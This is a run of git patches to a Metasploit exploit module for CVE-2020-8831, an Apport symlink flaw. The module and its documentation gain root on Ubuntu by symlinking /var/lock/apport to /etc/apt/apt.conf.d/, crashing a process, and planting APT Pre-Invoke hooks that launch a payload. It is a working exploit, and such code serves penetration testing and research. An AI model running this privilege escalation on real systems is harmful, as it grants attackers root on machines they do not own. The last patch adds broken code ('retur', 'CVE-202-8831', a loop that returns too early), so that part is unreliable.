the payload file which will be executed by the apt hook. Is random by default. -### HOOK_PATH +### HOOKPATH Path to the apt configuration directory, default is `/etc/apt/apt.conf.d/` From dfebd0afee7e2835d835c816a64786e02d0a9fa7 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Mon, 20 Apr 2026 07:47:38 -0400 Subject: [PATCH 39/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 534c4cc68b3a6..c474fcdaedf05 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -130,15 +130,15 @@ def hijack_apport error_message = "#{error_message}: #{symlink_result.strip}" unless symlink_result.strip.empty? fail_with(Failure::Unknown, error_message) end - print_status "DEBUG: ln -s #{datastore['HOOKPATH']} /var/lock/apport" + vprint_status "DEBUG: ln -s #{datastore['HOOKPATH']} /var/lock/apport" - print_status "DEBUG BEFORE CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}" + vprint_status "DEBUG BEFORE CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}" # Create crash and trigger apport print_status('Triggering crash...') cmd_exec 'sleep 10s & kill -11 $!' - print_status "DEBUG AFTER CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}" + vprint_status "DEBUG AFTER CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}" @hook_file = "#{datastore['HOOKPATH']}lock" From 6cec633387e61a650b4efeb64e910fcf25f1be7b Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Mon, 20 Apr 2026 07:49:33 -0400 Subject: [PATCH 40/47] Update documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- .../exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md b/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md index 08357d8d36333..8afda271400a6 100644 --- a/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md +++ b/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md @@ -21,7 +21,7 @@ ## Vulnerable Application - Apport versions <= 2.20.11 are vulnerable to symlink hijacking due to a vunerable + Apport versions <= 2.20.11 are vulnerable to symlink hijacking due to a vulnerable function `check_lock` which will inadvertently follow symbolic links from `/var/lock/ apport/`. This package can be installed with `sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb`. From 7436864edea5077e462d8b66398df4eaf1132f9d Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Mon, 20 Apr 2026 07:52:56 -0400 Subject: [PATCH 41/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index c474fcdaedf05..686ea753ae473 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -58,7 +58,7 @@ def initialize(info = {}) 'DisclosureDate' => '2020-04-02', 'DefaultTarget' => 0, 'Notes' => { - # After the module runs a legitmate user will notice that running `sudo apt-get upgrade` will lag as the payload runs + # After the module runs a legitimate user will notice that running `sudo apt-get upgrade` will lag as the payload runs 'Stability' => [CRASH_SAFE, SERVICE_RESOURCE_LOSS], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES, SCREEN_EFFECTS] From 6f1097beb85f908b9363088d62e068264ca058af Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Mon, 20 Apr 2026 07:53:27 -0400 Subject: [PATCH 42/47] Update documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- .../cve_2020_8831_apport_symlink_privesc.md | 43 ++++++++++--------- 1 file changed, 22 insertions(+), 21 deletions(-) diff --git a/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md b/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md index 8afda271400a6..7bad81885a37a 100644 --- a/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md +++ b/documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md @@ -1,29 +1,30 @@ ## Description - Apport is a utility for writing crash reports and on versions <= 2.20.11 there - exists a vulnerable `check_lock` function which suffers from the 'confused deputy - problem', and hence will inadvertantly follow symbolic links from /var/lock/apport - when writing lock files. Eseentially, this vulnerably allows and attacker to - arbitrarily create root owned world readable, writable and executable files by - creating a symbolic link to `/var/lock/apport/ `and then triggering a crash which - will be logged by apport. - - To achieve privillege escalation this module first creates a symlink from `/var/lock/ - apport/` to /etc/apt/apt.conf.d/. Then it triggers a crash a root owned file which - is world readable, writable and executable /etc/apt/apt.conf.d/lock will be written. - Next the module writes a payload which by default is written to /home/ubuntu/. - - An apt hook is a way of prepending commands to apt package operations. With the - `/etc/apt/apt.conf.d/lock` file we write our own apt hooks. This module will - trigger the payload on the following apt commands: `apt-get upgrade`, - `apt-get update` and `apt-get install`. Once one of these are run a new root - session will be spawned. + Apport is a utility for writing crash reports, and in versions <= 2.20.11 there + is a vulnerable `check_lock` function which suffers from the 'confused deputy + problem' and will inadvertently follow symbolic links from `/var/lock/apport/` + when writing lock files. Essentially, this vulnerability allows an attacker to + arbitrarily create root-owned, world-readable, writable, and executable files by + creating a symbolic link to `/var/lock/apport/` and then triggering a crash that + will be logged by apport. + + To achieve privilege escalation, this module first creates a symlink from `/var/lock/ + apport/` to `/etc/apt/apt.conf.d/`. It then triggers a crash, causing a + root-owned, world-readable, writable, and executable file, `/etc/apt/apt.conf.d/lock`, + to be written. Next, the module writes a payload, which by default is written to + `/home/ubuntu/`. + + An apt hook is a way of prepending commands to apt package operations. Using the + `/etc/apt/apt.conf.d/lock` file, we write our own apt hooks. This module will + trigger the payload on the following apt commands: `apt-get upgrade`, + `apt-get update`, and `apt-get install`. Once one of these commands is run, a new + root session will be spawned. ## Vulnerable Application - Apport versions <= 2.20.11 are vulnerable to symlink hijacking due to a vulnerable - function `check_lock` which will inadvertently follow symbolic links from `/var/lock/ - apport/`. This package can be installed with `sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb`. + Apport versions <= 2.20.11 are vulnerable to symlink hijacking due to a vulnerable + `check_lock` function which will inadvertently follow symbolic links from `/var/lock/ + apport/`. This package can be installed with `sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb`. ## Verification Steps From 1401b988dc298d7fb3c854fa833add85c69dceac Mon Sep 17 00:00:00 2001 From: Corey Date: Tue, 12 May 2026 15:26:08 -0400 Subject: [PATCH 43/47] Add setsid, write cmd payload directly to hook --- .../cve_2020_8831_apport_symlink_privesc.rb | 37 ++++++++----------- 1 file changed, 16 insertions(+), 21 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 269488946abe3..b9ed95a4232f2 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -27,11 +27,12 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'Maximilien Bourgeteau', # Discovery - 'gardnerapp', # Metasploit + 'gardnerapp', # Team Wild Star 'bwatters-r7' # code review & testing ], 'References' => [ [ + ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], ['URL', 'https://nostarch.com/zero-day'], # pg. 59 ['URL', 'https://ubuntu.com/security/CVE-2020-8831'], ['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'], @@ -58,10 +59,9 @@ def initialize(info = {}) 'DisclosureDate' => '2020-04-02', 'DefaultTarget' => 0, 'Notes' => { - # After the module runs a legitmate user will notice that running `sudo apt-get upgrade` will lag as the payload runs 'Stability' => [CRASH_SAFE, SERVICE_RESOURCE_LOSS], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], - 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES, SCREEN_EFFECTS] + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES] } ) ) @@ -124,7 +124,7 @@ def hijack_apport '/var/lock/apport already exists and a symbolic link cannot be created. Set the advanced option REMOVE_LOCK_DIR to true and rerun the module to remove this directory. ') end - t = cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport") + cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport") print_status "DEBUG BEFORE CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}" @@ -143,28 +143,25 @@ def hijack_apport end end - def write_payload - print_status 'Uploading payload..' - - payload_dir = datastore['WRITABLE_DIR'] - - payload_dir += '/' unless payload_dir.ends_with? '/' - - payload_file = datastore['PAYLOAD_FILENAME'] - - @payload_dest = "#{payload_dir}#{payload_file}" - + def write_payload_and_hooks # create the payload if target.arch.first == ARCH_CMD - upload_and_chmodx @payload_dest, payload.encoded + write_hooks(payload.encoded) else + payload_dir = datastore['WRITABLE_DIR'] + payload_dir += '/' unless payload_dir.ends_with? '/' + payload_file = datastore['PAYLOAD_FILENAME'] + + @payload_dest = "#{payload_dir}#{payload_file}" + upload_and_chmodx @payload_dest, generate_payload_exe + write_hooks(@payload_dest) end end # Maximize the number of apt commands our payload will run from - def write_hooks - hooks = %w[Update Upgrade Install].map { |cmd| %(APT::#{cmd}::Pre-Invoke {"#{@payload_dest}"};\n) } + def write_hooks(payload) + hooks = %w[Update Upgrade Install].map { |cmd| %(APT::#{cmd}::Pre-Invoke {"setsid #{payload} 2>/dev/null &"};\n) } hooks.each { |hook| append_file @hook_file, hook } print_good 'The next time apt-get is used to update, upgrade or install your payload will be triggered. Cheers ;)' end @@ -173,8 +170,6 @@ def exploit fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR']) hijack_apport - write_payload - - write_hooks + write_payload_and_hooks end end From 6a6368a2625263852f2ccf52196fed7d93661f39 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Mon, 22 Jun 2026 13:02:35 -0400 Subject: [PATCH 44/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: jheysel-r7 --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 8bbd542cf1415..65ba91d65dc7c 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -125,7 +125,7 @@ def hijack_apport cmd_exec 'rm -rf /var/lock/appport' elsif exists? '/var/lock/apport' fail_with(Failure::BadConfig, - '/var/lock/apport already exists and a symbolic link cannot be created. Set the advanced option REMOVE_LOCK_DIR to true and rerun the module to remove this directory. ') + '/var/lock/apport already exists and a symbolic link cannot be created. Set the advanced option REMOVE_LOCK_DIR to true and rerun the module to remove this directory.') end symlink_result = cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport 2>&1").to_s From 8b4492333984e28048a465cd78c9fe034dd90d11 Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Mon, 22 Jun 2026 13:02:54 -0400 Subject: [PATCH 45/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: jheysel-r7 --- .../linux/local/cve_2020_8831_apport_symlink_privesc.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 65ba91d65dc7c..e05f7d743a228 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -59,10 +59,7 @@ def initialize(info = {}) 'DisclosureDate' => '2020-04-02', 'DefaultTarget' => 0, 'Notes' => { -<<<<<<< HEAD -======= # After the module runs a legitimate user will notice that running `sudo apt-get upgrade` will lag as the payload runs ->>>>>>> 6f1097beb85f908b9363088d62e068264ca058af 'Stability' => [CRASH_SAFE, SERVICE_RESOURCE_LOSS], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES] From ce29f87c77faf650c1b14f513141a5c9ee60b83e Mon Sep 17 00:00:00 2001 From: gardnerapp <70026825+gardnerapp@users.noreply.github.com> Date: Sat, 27 Jun 2026 07:38:34 -0400 Subject: [PATCH 46/47] Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb Co-authored-by: jheysel-r7 --- .../exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index e05f7d743a228..7be1630f410de 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -32,7 +32,6 @@ def initialize(info = {}) ], 'References' => [ [ - ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], ['URL', 'https://nostarch.com/zero-day'], # pg. 59 ['URL', 'https://ubuntu.com/security/CVE-2020-8831'], ['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'], From 7b112502df239230de60999ac9a6dab0976013bb Mon Sep 17 00:00:00 2001 From: Corey Date: Mon, 6 Jul 2026 09:39:49 -0400 Subject: [PATCH 47/47] Rubocop changes, refactor check method, change reliability notes --- .../cve_2020_8831_apport_symlink_privesc.rb | 32 ++++++++++++++----- 1 file changed, 24 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb index 7be1630f410de..8dc1cd0f64d2d 100644 --- a/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb +++ b/modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb @@ -60,7 +60,7 @@ def initialize(info = {}) 'Notes' => { # After the module runs a legitimate user will notice that running `sudo apt-get upgrade` will lag as the payload runs 'Stability' => [CRASH_SAFE, SERVICE_RESOURCE_LOSS], - 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'Reliability' => [UNRELIABLE_SESSION, FIRST_ATTEMPT_FAIL, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES] } ) @@ -100,13 +100,29 @@ def check apport_version = Rex::Version.new(apport.split('-').first) - vulnerable_version = Rex::Version.new('2.20.11') - - if apport_version <= vulnerable_version - vprint_good('Apport appears to be vulnerable.') - return CheckCode::Appears - else - return CheckCode::Safe("Installed Apport version #{apport_version.version} is not vulnerable to CVE-2020-8831") + # :ubuntu_release => apport_version + vulnerable_releases = { + '20.04' => '2.20.11', # focal + '18.04' => '2.20.9', # bionic + '16.04' => '2.20.1', # xenial + '14.04' => '2.14.1' # trusty + } + + version = get_sysinfo[:version] + + vulnerable_releases.each_key do |k| + if version.include? k # if we have a vulnerable version of ubnutu + # get the corresponding version of apport and check for it + vuln_apport = Rex::Version.new(vulnerable_releases[k]) + if apport_version <= vuln_apport + vprint_good('Apport appears to be vulnerable') + return CheckCode::Appears + else # we do not have a vulnerable version of apport + retur CheckCode::Safe("Installed Apport version #{apport_version.version} is not vulnerable to CVE-202-8831") + end + else + return CheckCode::Safe("#{version} does not appear to be a vulnerable version of Ubuntu") + end end end